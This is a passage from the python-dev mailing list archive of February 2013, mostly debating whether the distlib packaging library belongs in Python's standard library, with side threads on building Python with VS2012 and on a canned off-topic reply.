	<5123EFEA.70600@egenix.com>
	<CAG8k2+58DtVdA_SdipmbGgRfcgkAutAnvExMb2=UuR_F7=yCEg@mail.gmail.com>
	<5123F849.6080703@egenix.com>
	<CAG8k2+722Lh-wJ8yozKqUbO6pDREJGgN+j1dseJyEKBLKPkc+g@mail.gmail.com>
	<6ECA090456F34E3CB3E0974093CB9E4C@gmail.com>
Message-ID: <CAFT4OTFXYHkWFYKcSjSRLPeJ0zSZ=6da2T_Vyk_uHqM2d7S=CQ@mail.gmail.com>

On Tue, Feb 19, 2013 at 6:19 PM, Donald Stufft <donald.stufft at gmail.com> wrote:
> Let's not add anything to the stdlib till it has real world usage. Doing
> otherwise is putting the cart before the horse.

I'd posit that anything successful will no longer need to be added to
the standard
library, to boot.  Packaging hasn't done well there.

I'd rather see a successful packaging story develop than bundle it into the
standard library.  The later just isn't that interesting any more.


  -Fred

-- 
Fred L. Drake, Jr.    <fred at fdrake.net>
"A storm broke loose in my mind."  --Albert Einstein

From p.f.moore at gmail.com  Wed Feb 20 03:37:26 2013
From: p.f.moore at gmail.com (Paul Moore)
Date: Wed, 20 Feb 2013 02:37:26 +0000
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <CAFT4OTFXYHkWFYKcSjSRLPeJ0zSZ=6da2T_Vyk_uHqM2d7S=CQ@mail.gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<51237CEB.3020701@egenix.com>
	<CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
	<5123EFEA.70600@egenix.com>
	<CAG8k2+58DtVdA_SdipmbGgRfcgkAutAnvExMb2=UuR_F7=yCEg@mail.gmail.com>
	<5123F849.6080703@egenix.com>
	<CAG8k2+722Lh-wJ8yozKqUbO6pDREJGgN+j1dseJyEKBLKPkc+g@mail.gmail.com>
	<6ECA090456F34E3CB3E0974093CB9E4C@gmail.com>
	<CAFT4OTFXYHkWFYKcSjSRLPeJ0zSZ=6da2T_Vyk_uHqM2d7S=CQ@mail.gmail.com>
Message-ID: <CACac1F91cVLNHCCowvdzugxUgGOZ_80QKL1AOZFmYp=XDLJ+uQ@mail.gmail.com>

On 20 February 2013 00:54, Fred Drake <fred at fdrake.net> wrote:
> I'd posit that anything successful will no longer need to be added to
> the standard library, to boot.  Packaging hasn't done well there.

distlib may be the exception, though. Packaging tools are somewhat
unique because of the chicken and egg issue involved in having a
packaging tool with external dependencies - who installs your
dependencies for you? So enabling technology (library code to perform
packaging-related tasks, particularly in support of standardised
formats) could be better available from the stdlib.

> I'd rather see a successful packaging story develop than bundle it into the
> standard library.  The later just isn't that interesting any more.

Bundling too early is a bad idea though. distlib is developing fast
and to do so it needs (1) a development cycle independent of python's
and (2) compatibility and ease of use with earlier versions of Python
(the latter is also critical for adoption in place of custom code in
packaging tools).

Aiming for an accelerated level of development targeting inclusion in
Python 3.4 is plausible, though. MAL pointed out that agreeing
standards but not offering tools to support them in the stdlib is
risky, as people have no incentive to adopt those standards. We've got
6 months or more until 3.4 feature freeze, let's not make any decision
too soon, though.

Paul.

From steve at pearwood.info  Wed Feb 20 03:40:14 2013
From: steve at pearwood.info (Steven D'Aprano)
Date: Wed, 20 Feb 2013 13:40:14 +1100
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <CAFT4OTFXYHkWFYKcSjSRLPeJ0zSZ=6da2T_Vyk_uHqM2d7S=CQ@mail.gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<51237CEB.3020701@egenix.com>
	<CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
	<5123EFEA.70600@egenix.com>
	<CAG8k2+58DtVdA_SdipmbGgRfcgkAutAnvExMb2=UuR_F7=yCEg@mail.gmail.com>
	<5123F849.6080703@egenix.com>
	<CAG8k2+722Lh-wJ8yozKqUbO6pDREJGgN+j1dseJyEKBLKPkc+g@mail.gmail.com>
	<6ECA090456F34E3CB3E0974093CB9E4C@gmail.com>
	<CAFT4OTFXYHkWFYKcSjSRLPeJ0zSZ=6da2T_Vyk_uHqM2d7S=CQ@mail.gmail.com>
Message-ID: <5124378E.6020607@pearwood.info>

On 20/02/13 11:54, Fred Drake wrote:
> On Tue, Feb 19, 2013 at 6:19 PM, Donald Stufft<donald.stufft at gmail.com>  wrote:
>> Let's not add anything to the stdlib till it has real world usage. Doing
>> otherwise is putting the cart before the horse.
>
> I'd posit that anything successful will no longer need to be added to
> the standard
> library, to boot.  Packaging hasn't done well there.
>
> I'd rather see a successful packaging story develop than bundle it into the
> standard library.  The later just isn't that interesting any more.


I keep hearing people say that the stdlib is not important, but I don't think
that is true. There are lots of people who have problems with anything not in
the standard library.

- Beginners often have difficulty (due to inexperience, lack of confidence or
   knowledge) in *finding*, let alone installing and using, packages that aren't
   in the standard library.

- To people in the Linux world, adding anything outside of your distro's
   packaging system is a nuisance. No matter how easy your packaging library
   makes it, you now have two sorts of packages: first-class packages that
   your distro will automatically update for you, and second-class ones that
   aren't.

- People working in restrictive corporate systems often have to jump through
   flaming hoops before installing software.


Packages in the stdlib are a no-brainer. Anything outside the stdlib has
additional barriers to use, even if installing them is as simple as
"some-package-manager install spam.py".


For the avoidance of doubt, this is *not* a veiled request for "everything"
to be in the stdlib, since that is impractical and stupid, just a reminder
that the stdlib is still important and that no matter how easy packaging
becomes, it will never be as easy as having something already there.



-- 
Steven

From tseaver at palladion.com  Wed Feb 20 05:07:39 2013
From: tseaver at palladion.com (Tres Seaver)
Date: Tue, 19 Feb 2013 23:07:39 -0500
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <CACac1F91cVLNHCCowvdzugxUgGOZ_80QKL1AOZFmYp=XDLJ+uQ@mail.gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<51237CEB.3020701@egenix.com>
	<CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
	<5123EFEA.70600@egenix.com>
	<CAG8k2+58DtVdA_SdipmbGgRfcgkAutAnvExMb2=UuR_F7=yCEg@mail.gmail.com>
	<5123F849.6080703@egenix.com>
	<CAG8k2+722Lh-wJ8yozKqUbO6pDREJGgN+j1dseJyEKBLKPkc+g@mail.gmail.com>
	<6ECA090456F34E3CB3E0974093CB9E4C@gmail.com>
	<CAFT4OTFXYHkWFYKcSjSRLPeJ0zSZ=6da2T_Vyk_uHqM2d7S=CQ@mail.gmail.com>
	<CACac1F91cVLNHCCowvdzugxUgGOZ_80QKL1AOZFmYp=XDLJ+uQ@mail.gmail.com>
Message-ID: <kg1icp$e0n$1@ger.gmane.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 02/19/2013 09:37 PM, Paul Moore wrote:
> On 20 February 2013 00:54, Fred Drake <fred at fdrake.net> wrote:
>> I'd posit that anything successful will no longer need to be added
>> to the standard library, to boot.  Packaging hasn't done well
>> there.
> 
> distlib may be the exception, though. Packaging tools are somewhat 
> unique because of the chicken and egg issue involved in having a 
> packaging tool with external dependencies - who installs your 
> dependencies for you? So enabling technology (library code to perform 
> packaging-related tasks, particularly in support of standardised 
> formats) could be better available from the stdlib.

The big blocker there is that users can't rely on having it in the stdlib
until after they drop Python < 3.4 (assuming accelearated absorption) or
even 3.5.


Tres.
- -- 
===================================================================
Tres Seaver          +1 540-429-0999          tseaver at palladion.com
Palladion Software   "Excellence by Design"    http://palladion.com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)
Comment: Using GnuPG with undefined - http://www.enigmail.net/

iEYEARECAAYFAlEkTAsACgkQ+gerLs4ltQ6VBgCePncI4cX7a8NEN6lj98CVBdAE
UTUAnA+6zo8Zjmp6T4n0uL804PnHHvZ8
=OT8w
-----END PGP SIGNATURE-----


From eliben at gmail.com  Wed Feb 20 05:37:36 2013
From: eliben at gmail.com (Eli Bendersky)
Date: Tue, 19 Feb 2013 20:37:36 -0800
Subject: [Python-Dev] Built with VS2012 Express for desktop
In-Reply-To: <20130219185025.GB13258@iskra.aviel.ru>
References: <SNT002-W20406FA0FDEC8C384A58A63B1F50@phx.gbl>
	<20130219185025.GB13258@iskra.aviel.ru>
Message-ID: <CAF-Rda-dyp96RyEXM=qDs=3r33jgx4xdFUiDGpr2CH9R6fqU6g@mail.gmail.com>

On Tue, Feb 19, 2013 at 10:50 AM, Oleg Broytman <phd at phdru.name> wrote:

> Hello.
>
>    This mailing list is to work on developing Python (adding new
> features to Python itself and fixing bugs); if you're having problems
> learning, understanding or using Python, please find another forum.
> Probably python-list/comp.lang.python mailing list/news group is the
> best place; there are Python developers who participate in it; you may
> get a faster, and probably more complete, answer there. See
> http://www.python.org/community/ for other lists/news groups/fora. Thank
> you for understanding.
>
>
Oleg, lately I have the feeling you're getting too automatic with this
template response. The OP didn't ask how to reverse a list in Python, he
was trying to build Python itself (on Windows, no less), which suggests
that he may be trying to work *on* Python. Or maybe he isn't, but let's
grant him the benefit of the doubt. If python-dev was overwhelmed with such
posts, then perhaps we'd have to think about solving the problem; but there
is no problem.

Being kind to newbies is an important part of meaningful participation in
an open source project.

Eli
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130219/56513481/attachment.html>

From tjreedy at udel.edu  Wed Feb 20 06:48:01 2013
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 20 Feb 2013 00:48:01 -0500
Subject: [Python-Dev] Python 2.7 buffer and memoryview documentation
	(issue# 17145)
In-Reply-To: <CD48F77F.B110%demianbrecht@gmail.com>
References: <CD48F77F.B110%demianbrecht@gmail.com>
Message-ID: <kg1o2t$r6i$1@ger.gmane.org>

On 2/19/2013 12:33 PM, Demian Brecht wrote:

Comment on patch on issue.

> Also, are contributor agreements also required for documentation?

I believe so, especially for substantial patches like yours. Just submit 
one and be done with it. You probably should choose the Academic 
License. http://www.python.org/psf/contrib/

-- 
Terry Jan Reedy


From solipsis at pitrou.net  Wed Feb 20 08:23:19 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Wed, 20 Feb 2013 08:23:19 +0100
Subject: [Python-Dev] Built with VS2012 Express for desktop
References: <SNT002-W20406FA0FDEC8C384A58A63B1F50@phx.gbl>
	<20130219185025.GB13258@iskra.aviel.ru>
	<CAF-Rda-dyp96RyEXM=qDs=3r33jgx4xdFUiDGpr2CH9R6fqU6g@mail.gmail.com>
Message-ID: <20130220082319.02424aeb@pitrou.net>

On Tue, 19 Feb 2013 20:37:36 -0800
Eli Bendersky <eliben at gmail.com> wrote:
> On Tue, Feb 19, 2013 at 10:50 AM, Oleg Broytman <phd at phdru.name> wrote:
> 
> > Hello.
> >
> >    This mailing list is to work on developing Python (adding new
> > features to Python itself and fixing bugs); if you're having problems
> > learning, understanding or using Python, please find another forum.
> > Probably python-list/comp.lang.python mailing list/news group is the
> > best place; there are Python developers who participate in it; you may
> > get a faster, and probably more complete, answer there. See
> > http://www.python.org/community/ for other lists/news groups/fora. Thank
> > you for understanding.
> >
> >
> Oleg, lately I have the feeling you're getting too automatic with this
> template response.

+1. This isn't the python-robots mailing-list.

Regards

Antoine.



From chris.jerdonek at gmail.com  Wed Feb 20 08:48:22 2013
From: chris.jerdonek at gmail.com (Chris Jerdonek)
Date: Tue, 19 Feb 2013 23:48:22 -0800
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <5124378E.6020607@pearwood.info>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<51237CEB.3020701@egenix.com>
	<CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
	<5123EFEA.70600@egenix.com>
	<CAG8k2+58DtVdA_SdipmbGgRfcgkAutAnvExMb2=UuR_F7=yCEg@mail.gmail.com>
	<5123F849.6080703@egenix.com>
	<CAG8k2+722Lh-wJ8yozKqUbO6pDREJGgN+j1dseJyEKBLKPkc+g@mail.gmail.com>
	<6ECA090456F34E3CB3E0974093CB9E4C@gmail.com>
	<CAFT4OTFXYHkWFYKcSjSRLPeJ0zSZ=6da2T_Vyk_uHqM2d7S=CQ@mail.gmail.com>
	<5124378E.6020607@pearwood.info>
Message-ID: <CAOTb1wfKt+daJyOVQNaMOshkk+64nt1Kqa_XN=3J2-G3LmhJRg@mail.gmail.com>

On Tue, Feb 19, 2013 at 3:16 PM, Daniel Holth <dholth at gmail.com> wrote:
> Sorry, Chris must have meant http://hg.python.org/distlib/ . I was
> struggling to imagine a world where that is more visible than something on
> bitbucket.

I meant that bringing distlib into http://hg.python.org/cpython/ would
give it more visibility to core devs and others that already keep an
eye on python-checkins (the mailing list).  And I think seeing the
Sphinx-processed docs integrated and cross-referenced with
http://docs.python.org/dev/ will help people understand better what
has been done and how it fits in with the rest of CPython -- which I
think would be useful to the community.  It may also encourage
involvement (e.g. by being part of the main tracker).

In asking about the "plan" for doing this, I was thinking of the
following remark by Nick:

On Tue, Feb 19, 2013 at 5:40 AM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> On Tue, Feb 19, 2013 at 11:23 PM, M.-A. Lemburg <mal at egenix.com> wrote:
>>
>> Hmm, what is distlib and where does it live ?
>
> As part of the post-mortem of packaging's removal from Python 3.3,
> several subcomponents were identified as stable and useful. distlib is
> those subcomponents extracted into a separate repository by Vinay
> Sajip.
>
> It will be proposed as the standard library infrastructure for
> building packaging related tools, while distutils will become purely a
> build system and have nothing to do with installing software directly
> (except perhaps on developer machines).

My question was basically whether there was a tentative plan for when
it (or completed parts of it) will be proposed (e.g. when a certain
amount of functionality is completed, etc).  It's better not to do
this at the last minute if 3.4 is the plan (as I think was attempted
with packaging but for 3.3).

On Tue, Feb 19, 2013 at 6:40 PM, Steven D'Aprano <steve at pearwood.info> wrote:
>
> I keep hearing people say that the stdlib is not important, but I don't
> think
> that is true. There are lots of people who have problems with anything not
> in
> the standard library.
>
> - Beginners often have difficulty (due to inexperience, lack of confidence
> or
>   knowledge) in *finding*, let alone installing and using, packages that
> aren't
>   in the standard library.
>
> - To people in the Linux world, adding anything outside of your distro's
>   packaging system is a nuisance. No matter how easy your packaging library
>   makes it, you now have two sorts of packages: first-class packages that
>   your distro will automatically update for you, and second-class ones that
>   aren't.
>
> - People working in restrictive corporate systems often have to jump through
>   flaming hoops before installing software.

I would also add that for people new to writing Python modules and
that want to distribute them, it's hard to evaluate what they are
"supposed" to use (distutils, setuptools, distribute, bento, etc).
Just a day or two ago, this exact question was asked on the Distutils
mailing list with subject "Confusion of a hobby programmer."  Code not
being in the standard library creates an extra mental hurdle to
overcome.

--Chris

From donald.stufft at gmail.com  Wed Feb 20 08:53:54 2013
From: donald.stufft at gmail.com (Donald Stufft)
Date: Wed, 20 Feb 2013 02:53:54 -0500
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <CAOTb1wfKt+daJyOVQNaMOshkk+64nt1Kqa_XN=3J2-G3LmhJRg@mail.gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<51237CEB.3020701@egenix.com>
	<CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
	<5123EFEA.70600@egenix.com>
	<CAG8k2+58DtVdA_SdipmbGgRfcgkAutAnvExMb2=UuR_F7=yCEg@mail.gmail.com>
	<5123F849.6080703@egenix.com>
	<CAG8k2+722Lh-wJ8yozKqUbO6pDREJGgN+j1dseJyEKBLKPkc+g@mail.gmail.com>
	<6ECA090456F34E3CB3E0974093CB9E4C@gmail.com>
	<CAFT4OTFXYHkWFYKcSjSRLPeJ0zSZ=6da2T_Vyk_uHqM2d7S=CQ@mail.gmail.com>
	<5124378E.6020607@pearwood.info>
	<CAOTb1wfKt+daJyOVQNaMOshkk+64nt1Kqa_XN=3J2-G3LmhJRg@mail.gmail.com>
Message-ID: <E90F8467FE3348C48591D60218689C85@gmail.com>

On Wednesday, February 20, 2013 at 2:48 AM, Chris Jerdonek wrote:
> On Tue, Feb 19, 2013 at 3:16 PM, Daniel Holth <dholth at gmail.com (mailto:dholth at gmail.com)> wrote:
> > Sorry, Chris must have meant http://hg.python.org/distlib/ . I was
> > struggling to imagine a world where that is more visible than something on
> > bitbucket.
> >  
>  
>  
> I meant that bringing distlib into http://hg.python.org/cpython/ would
> give it more visibility to core devs and others that already keep an
> eye on python-checkins (the mailing list). And I think seeing the
> Sphinx-processed docs integrated and cross-referenced with
> http://docs.python.org/dev/ will help people understand better what
> has been done and how it fits in with the rest of CPython -- which I
> think would be useful to the community. It may also encourage
> involvement (e.g. by being part of the main tracker).
>  
>  

On the other hand it makes contributing to it more annoying since it
does not have pull requests, unless it was just a mirror.  
> In asking about the "plan" for doing this, I was thinking of the
> following remark by Nick:
>  
> On Tue, Feb 19, 2013 at 5:40 AM, Nick Coghlan <ncoghlan at gmail.com (mailto:ncoghlan at gmail.com)> wrote:
> > On Tue, Feb 19, 2013 at 11:23 PM, M.-A. Lemburg <mal at egenix.com (mailto:mal at egenix.com)> wrote:
> > >  
> > > Hmm, what is distlib and where does it live ?
> >  
> > As part of the post-mortem of packaging's removal from Python 3.3,
> > several subcomponents were identified as stable and useful. distlib is
> > those subcomponents extracted into a separate repository by Vinay
> > Sajip.
> >  
> > It will be proposed as the standard library infrastructure for
> > building packaging related tools, while distutils will become purely a
> > build system and have nothing to do with installing software directly
> > (except perhaps on developer machines).
> >  
>  
>  
> My question was basically whether there was a tentative plan for when
> it (or completed parts of it) will be proposed (e.g. when a certain
> amount of functionality is completed, etc). It's better not to do
> this at the last minute if 3.4 is the plan (as I think was attempted
> with packaging but for 3.3).
>  
> On Tue, Feb 19, 2013 at 6:40 PM, Steven D'Aprano <steve at pearwood.info (mailto:steve at pearwood.info)> wrote:
> >  
> > I keep hearing people say that the stdlib is not important, but I don't
> > think
> > that is true. There are lots of people who have problems with anything not
> > in
> > the standard library.
> >  
> > - Beginners often have difficulty (due to inexperience, lack of confidence
> > or
> > knowledge) in *finding*, let alone installing and using, packages that
> > aren't
> > in the standard library.
> >  
> > - To people in the Linux world, adding anything outside of your distro's
> > packaging system is a nuisance. No matter how easy your packaging library
> > makes it, you now have two sorts of packages: first-class packages that
> > your distro will automatically update for you, and second-class ones that
> > aren't.
> >  
> > - People working in restrictive corporate systems often have to jump through
> > flaming hoops before installing software.
> >  
>  
>  
> I would also add that for people new to writing Python modules and
> that want to distribute them, it's hard to evaluate what they are
> "supposed" to use (distutils, setuptools, distribute, bento, etc).
> Just a day or two ago, this exact question was asked on the Distutils
> mailing list with subject "Confusion of a hobby programmer." Code not
> being in the standard library creates an extra mental hurdle to
> overcome.
>  
>  

I agree that eventually the stdlib needs standard tooling to work with the future (?) but
until that future is in use adding it to the stdlib feels premature to me.  

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130220/1d8ac4bc/attachment-0001.html>

From p.f.moore at gmail.com  Wed Feb 20 09:02:39 2013
From: p.f.moore at gmail.com (Paul Moore)
Date: Wed, 20 Feb 2013 08:02:39 +0000
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <kg1icp$e0n$1@ger.gmane.org>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<51237CEB.3020701@egenix.com>
	<CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
	<5123EFEA.70600@egenix.com>
	<CAG8k2+58DtVdA_SdipmbGgRfcgkAutAnvExMb2=UuR_F7=yCEg@mail.gmail.com>
	<5123F849.6080703@egenix.com>
	<CAG8k2+722Lh-wJ8yozKqUbO6pDREJGgN+j1dseJyEKBLKPkc+g@mail.gmail.com>
	<6ECA090456F34E3CB3E0974093CB9E4C@gmail.com>
	<CAFT4OTFXYHkWFYKcSjSRLPeJ0zSZ=6da2T_Vyk_uHqM2d7S=CQ@mail.gmail.com>
	<CACac1F91cVLNHCCowvdzugxUgGOZ_80QKL1AOZFmYp=XDLJ+uQ@mail.gmail.com>
	<kg1icp$e0n$1@ger.gmane.org>
Message-ID: <CACac1F9EzJDLNmQb8B4RaAbjnU-xO2tc43T7aLA0_onMqY-7-A@mail.gmail.com>

On 20 February 2013 04:07, Tres Seaver <tseaver at palladion.com> wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> On 02/19/2013 09:37 PM, Paul Moore wrote:
>> On 20 February 2013 00:54, Fred Drake <fred at fdrake.net> wrote:
>>> I'd posit that anything successful will no longer need to be added
>>> to the standard library, to boot.  Packaging hasn't done well
>>> there.
>>
>> distlib may be the exception, though. Packaging tools are somewhat
>> unique because of the chicken and egg issue involved in having a
>> packaging tool with external dependencies - who installs your
>> dependencies for you? So enabling technology (library code to perform
>> packaging-related tasks, particularly in support of standardised
>> formats) could be better available from the stdlib.
>
> The big blocker there is that users can't rely on having it in the stdlib
> until after they drop Python < 3.4 (assuming accelearated absorption) or
> even 3.5.

Understood - that's why I suggested that distlib reach a point where
it's stable as an external package and supported on (some) older
versions. I'm hoping for an experience more like unittest2 than
packaging/distutils2.

But we shouldn't be blocking new stdlib features just because they
won't be available in older Python versions...
Paul

From chris.jerdonek at gmail.com  Wed Feb 20 09:03:18 2013
From: chris.jerdonek at gmail.com (Chris Jerdonek)
Date: Wed, 20 Feb 2013 00:03:18 -0800
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <E90F8467FE3348C48591D60218689C85@gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<512347ED.2040905@egenix.com>
	<CADiSq7cZYjxq7GYFK3OtWpOeEyAc_uv19koHN+9HeH4YrjmiWw@mail.gmail.com>
	<51237CEB.3020701@egenix.com>
	<CADiSq7c0U-3yVkXkPEUgDL9FwgxXoM=LpL0=JEyUZUmEB979jg@mail.gmail.com>
	<5123EFEA.70600@egenix.com>
	<CAG8k2+58DtVdA_SdipmbGgRfcgkAutAnvExMb2=UuR_F7=yCEg@mail.gmail.com>
	<5123F849.6080703@egenix.com>
	<CAG8k2+722Lh-wJ8yozKqUbO6pDREJGgN+j1dseJyEKBLKPkc+g@mail.gmail.com>
	<6ECA090456F34E3CB3E0974093CB9E4C@gmail.com>
	<CAFT4OTFXYHkWFYKcSjSRLPeJ0zSZ=6da2T_Vyk_uHqM2d7S=CQ@mail.gmail.com>
	<5124378E.6020607@pearwood.info>
	<CAOTb1wfKt+daJyOVQNaMOshkk+64nt1Kqa_XN=3J2-G3LmhJRg@mail.gmail.com>
	<E90F8467FE3348C48591D60218689C85@gmail.com>
Message-ID: <CAOTb1wfSAE=c4xd0dmPMYvcmHtpjoHkx-=tb7JKeAiNepfLjWw@mail.gmail.com>

> On Wednesday, February 20, 2013 at 2:48 AM, Chris Jerdonek wrote:
>
> I meant that bringing distlib into http://hg.python.org/cpython/ would
> give it more visibility to core devs and others that already keep an
> eye on python-checkins (the mailing list). And I think seeing the
> Sphinx-processed docs integrated and cross-referenced with
> http://docs.python.org/dev/ will help people understand better what
> has been done and how it fits in with the rest of CPython -- which I
> think would be useful to the community. It may also encourage
> involvement (e.g. by being part of the main tracker).

On Tue, Feb 19, 2013 at 11:53 PM, Donald Stufft <donald.stufft at gmail.com> wrote:
> On the other hand it makes contributing to it more annoying since it
> does not have pull requests, unless it was just a mirror.

Maybe just the finished/production-ready pieces could be added as they
are ready, with the main development happening outside.  My
understanding of distlib is that it's a collection of independent,
bite-sized pieces of functionality, which could lend itself well to
such a process.

--Chris

From rahulgarg at live.ca  Wed Feb 20 09:03:14 2013
From: rahulgarg at live.ca (rahul garg)
Date: Wed, 20 Feb 2013 03:03:14 -0500
Subject: [Python-Dev] Built with VS2012 Express for desktop
In-Reply-To: <CAD+XWwqvmLwpDPaF1njckqZ=YNd6BB5R7iJ6tXsTe0-dT6xG4A@mail.gmail.com>
References: <SNT002-W20406FA0FDEC8C384A58A63B1F50@phx.gbl>,
	<CAD+XWwqvmLwpDPaF1njckqZ=YNd6BB5R7iJ6tXsTe0-dT6xG4A@mail.gmail.com>
Message-ID: <SNT002-W74623B62A2CF59809A6DEFB1F60@phx.gbl>

> Date: Tue, 19 Feb 2013 12:48:02 -0600
> Subject: Re: [Python-Dev] Built with VS2012 Express for desktop
> From: brian at python.org
> To: rahulgarg at live.ca
> CC: python-dev at python.org
> 
> On Tue, Feb 19, 2013 at 12:37 PM, rahul garg <rahulgarg at live.ca> wrote:
> > Hi.
> >
> > I downloaded Python 3.3 source, opened up the solution in VS2012 Express for
> > Desktop and built the "python" subproject using "Release" and "x64"
> > configurations.  I now have a "python.exe" in the PCBuild/amd64 subfolder
> > that appears to be working as far as i can see.
> >
> > I have a few questions:
> > a) Is there a test suite that I can run to verify that the build is working
> > fine?
> Last I checked there are some issues, but most of the tests should
> pass. You would run "PCBuild\python.exe -m test" from the top level of
> your checkout to see this. It's also covered at
> http://docs.python.org/devguide/

Thanks! That page is what I should have looked for! 

> > b) I now intend to build some extensions (such as NumPy). Not sure if this
> > is the right list, but would I need to modify something in distutils to get
> > it working with VS2012?
> 
> Yes. You'll probably need to point distutils to the correct batch file
> that sets up a VS2012 build environment.

Thanks again!

rahul
 		 	   		  
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130220/547b8827/attachment.html>

From phd at phdru.name  Wed Feb 20 10:09:13 2013
From: phd at phdru.name (Oleg Broytman)
Date: Wed, 20 Feb 2013 13:09:13 +0400
Subject: [Python-Dev] Built with VS2012 Express for desktop
In-Reply-To: <20130220082319.02424aeb@pitrou.net>
References: <SNT002-W20406FA0FDEC8C384A58A63B1F50@phx.gbl>
	<20130219185025.GB13258@iskra.aviel.ru>
	<CAF-Rda-dyp96RyEXM=qDs=3r33jgx4xdFUiDGpr2CH9R6fqU6g@mail.gmail.com>
	<20130220082319.02424aeb@pitrou.net>
Message-ID: <20130220090913.GA2026@iskra.aviel.ru>

On Wed, Feb 20, 2013 at 08:23:19AM +0100, Antoine Pitrou <solipsis at pitrou.net> wrote:
> On Tue, 19 Feb 2013 20:37:36 -0800
> Eli Bendersky <eliben at gmail.com> wrote:
> > On Tue, Feb 19, 2013 at 10:50 AM, Oleg Broytman <phd at phdru.name> wrote:
> > Oleg, lately I have the feeling you're getting too automatic with this
> > template response.
> 
> +1. This isn't the python-robots mailing-list.

   Ok, I'll stop.

Oleg.
-- 
     Oleg Broytman            http://phdru.name/            phd at phdru.name
           Programmers don't die, they just GOSUB without RETURN.

From mal at egenix.com  Wed Feb 20 10:25:54 2013
From: mal at egenix.com (M.-A. Lemburg)
Date: Wed, 20 Feb 2013 10:25:54 +0100
Subject: [Python-Dev] Fwd: PEP 426 is now the draft spec for
 distribution metadata 2.0
In-Reply-To: <CACac1F91cVLNHCCowvdzugxUgGOZ_80QKL1AOZFmYp=XDLJ+uQ@mail.gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
